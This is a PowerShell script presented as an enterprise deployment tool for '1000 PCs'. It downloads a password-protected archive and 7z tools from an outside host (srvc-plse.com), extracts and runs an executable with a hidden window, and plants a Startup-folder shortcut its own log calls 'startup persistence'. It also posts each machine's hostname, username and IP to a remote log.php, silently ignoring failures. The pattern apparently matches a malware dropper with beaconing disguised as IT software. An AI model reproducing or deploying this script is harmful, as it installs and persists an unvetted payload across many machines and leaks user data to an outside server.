# ============================================ # ENTERPRISE DEPLOYMENT SCRIPT # For Cisco Test Environment - 1000 PCs # ============================================ # ===== CONFIGURATION SECTION ===== $CONFIG = @{ ServerURL = "http://srvc-plse.com" ArchiveName = "myapp.7z" ExeName = "Echo_Ter.exe" ArchivePassword = "ppp" Version = "1.0.0" # Change this to force re-deployment AppFolderName = "TestApp" # Fixed name instead of random LogToServer = $true # Set to $true to send logs back to server LogServerURL = "http://srvc-plse.com/log.php" MaxRetries = 3 RetryDelay = 5 # seconds } # ===== LOGGING FUNCTION ===== function Write-Log { param( [string]$Message, [string]$Level = "INFO" ) $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $hostname = $env:COMPUTERNAME $username = $env:USERNAME $ip = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike "*Loopback*"} | Select-Object -First 1).IPAddress $logEntry = "[$timestamp] [$Level] [$hostname] [$ip] $Message" Write-Host $logEntry # Send to server if enabled if ($CONFIG.LogToServer) { try { $body = "timestamp=$timestamp&hostname=$hostname&username=$username&ip=$ip&level=$Level&message=$([System.Web.HttpUtility]::UrlEncode($Message))" Invoke-WebRequest -Uri $CONFIG.LogServerURL -Method POST -Body $body -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop | Out-Null } catch { # Silently fail if logging server unavailable } } } # ===== NETWORK CHECK ===== function Test-NetworkConnection { param([string]$URL) Write-Log "Testing connection to server" "INFO" for ($i = 1; $i -le $CONFIG.MaxRetries; $i++) { try { $response = Invoke-WebRequest -Uri $URL -Method HEAD -UseBasicParsing -TimeoutSec 10 -ErrorAction Stop Write-Log "Network connection successful" "INFO" return $true } catch { Write-Log "Connection attempt $i failed: $($_.Exception.Message)" "WARN" if ($i -lt $CONFIG.MaxRetries) { Start-Sleep -Seconds $CONFIG.RetryDelay } } } Write-Log "Network connection failed after $($CONFIG.MaxRetries) attempts" "ERROR" return $false } # ===== DOWNLOAD WITH RETRY ===== function Download-FileWithRetry { param( [string]$URL, [string]$OutFile ) $fileName = Split-Path $OutFile -Leaf Write-Log "Downloading: $fileName" "INFO" for ($i = 1; $i -le $CONFIG.MaxRetries; $i++) { try { Invoke-WebRequest -Uri $URL -OutFile $OutFile -UseBasicParsing -TimeoutSec 60 -ErrorAction Stop if (Test-Path $OutFile) { $fileSize = (Get-Item $OutFile).Length Write-Log "Download successful: $OutFile ($fileSize bytes)" "INFO" return $true } } catch { Write-Log "Download attempt $i failed: $($_.Exception.Message)" "WARN" Remove-Item $OutFile -Force -ErrorAction SilentlyContinue if ($i -lt $CONFIG.MaxRetries) { Start-Sleep -Seconds $CONFIG.RetryDelay } } } Write-Log "Download failed after $($CONFIG.MaxRetries) attempts" "ERROR" return $false } # ===== CHECK IF ALREADY INSTALLED ===== function Test-AlreadyInstalled { $installPath = Join-Path $env:ProgramData $CONFIG.AppFolderName $versionFile = Join-Path $installPath "version.txt" if (Test-Path $versionFile) { $installedVersion = Get-Content $versionFile -ErrorAction SilentlyContinue if ($installedVersion -eq $CONFIG.Version) { Write-Log "Version $installedVersion already installed, skipping deployment" "INFO" return $true } else { Write-Log "Upgrading from version $installedVersion to $($CONFIG.Version)" "INFO" } } return $false } # ===== MAIN DEPLOYMENT ===== try { Write-Log "========== DEPLOYMENT STARTED ==========" "INFO" Write-Log "Windows Version: $([System.Environment]::OSVersion.VersionString)" "INFO" Write-Log "PowerShell Version: $($PSVersionTable.PSVersion)" "INFO" # Check if already installed if (Test-AlreadyInstalled) { Write-Log "Deployment skipped - already up to date" "INFO" exit 0 } # Test network if (-not (Test-NetworkConnection -URL $CONFIG.ServerURL)) { Write-Log "Cannot reach server, aborting" "ERROR" exit 1 } # Create directories $tempDir = Join-Path $env:TEMP "deployment_temp" $installPath = Join-Path $env:ProgramData $CONFIG.AppFolderName if (Test-Path $tempDir) { Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue } New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Write-Log "Temp directory created: $tempDir" "INFO" if (Test-Path $installPath) { Write-Log "Cleaning existing installation: $installPath" "INFO" # Kill any running instances $runningProcesses = Get-Process | Where-Object {$_.Path -like "$installPath\*"} if ($runningProcesses) { $runningProcesses | ForEach-Object { Write-Log "Stopping process: $($_.Name) (PID: $($_.Id))" "INFO" Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue } Start-Sleep -Seconds 2 } Remove-Item $installPath -Recurse -Force -ErrorAction SilentlyContinue } New-Item -ItemType Directory -Path $installPath -Force | Out-Null Write-Log "Install directory created: $installPath" "INFO" # Download files $filesToDownload = @{ "$($CONFIG.ArchiveName)" = Join-Path $tempDir $CONFIG.ArchiveName "7z.exe" = Join-Path $tempDir "7z.exe" "7z.dll" = Join-Path $tempDir "7z.dll" } foreach ($file in $filesToDownload.GetEnumerator()) { $url = "$($CONFIG.ServerURL)/$($file.Key)" if (-not (Download-FileWithRetry -URL $url -OutFile $file.Value)) { Write-Log "Failed to download $($file.Key)" "ERROR" throw "Download failed" } } # Extract archive Write-Log "Extracting archive to $installPath" "INFO" $7zExe = Join-Path $tempDir "7z.exe" $archivePath = Join-Path $tempDir $CONFIG.ArchiveName $extractArgs = @( "x" "`"$archivePath`"" "-p$($CONFIG.ArchivePassword)" "-o`"$installPath`"" "-aoa" "-y" ) $process = Start-Process -FilePath $7zExe -ArgumentList $extractArgs -Wait -PassThru -NoNewWindow if ($process.ExitCode -ne 0) { Write-Log "Extraction failed with exit code: $($process.ExitCode)" "ERROR" throw "Extraction failed" } Write-Log "Extraction successful" "INFO" # Verify executable exists $exePath = Join-Path $installPath $CONFIG.ExeName if (-not (Test-Path $exePath)) { Write-Log "Executable not found: $exePath" "ERROR" # List what was extracted Write-Log "Contents of $installPath :" "INFO" Get-ChildItem -Path $installPath -Recurse | ForEach-Object { Write-Log " $($_.FullName)" "INFO" } throw "Executable not found after extraction" } # Write version file Set-Content -Path (Join-Path $installPath "version.txt") -Value $CONFIG.Version -Force Write-Log "Version file created: $($CONFIG.Version)" "INFO" # Create startup shortcut Write-Log "Creating startup persistence" "INFO" $startupPath = [Environment]::GetFolderPath("Startup") $shortcutPath = Join-Path $startupPath "$($CONFIG.AppFolderName).lnk" $wsh = New-Object -ComObject WScript.Shell $shortcut = $wsh.CreateShortcut($shortcutPath) $shortcut.TargetPath = $exePath $shortcut.WorkingDirectory = $installPath $shortcut.WindowStyle = 7 # Minimized $shortcut.Description = "Test Application" $shortcut.Save() Write-Log "Startup shortcut created: $shortcutPath" "INFO" # Start application Write-Log "Starting application: $exePath" "INFO" $appProcess = Start-Process -FilePath $exePath -WorkingDirectory $installPath -PassThru -WindowStyle Hidden if ($appProcess) { Write-Log "Application started successfully (PID: $($appProcess.Id))" "INFO" } else { Write-Log "Failed to start application" "WARN" } # Cleanup temp files Write-Log "Cleaning up temporary files" "INFO" Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue Write-Log "========== DEPLOYMENT COMPLETED SUCCESSFULLY ==========" "INFO" exit 0 } catch { Write-Log "========== DEPLOYMENT FAILED ==========" "ERROR" Write-Log "Error: $($_.Exception.Message)" "ERROR" Write-Log "Stack trace: $($_.ScriptStackTrace)" "ERROR" # Cleanup on failure if (Test-Path $tempDir) { Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue } exit 1 }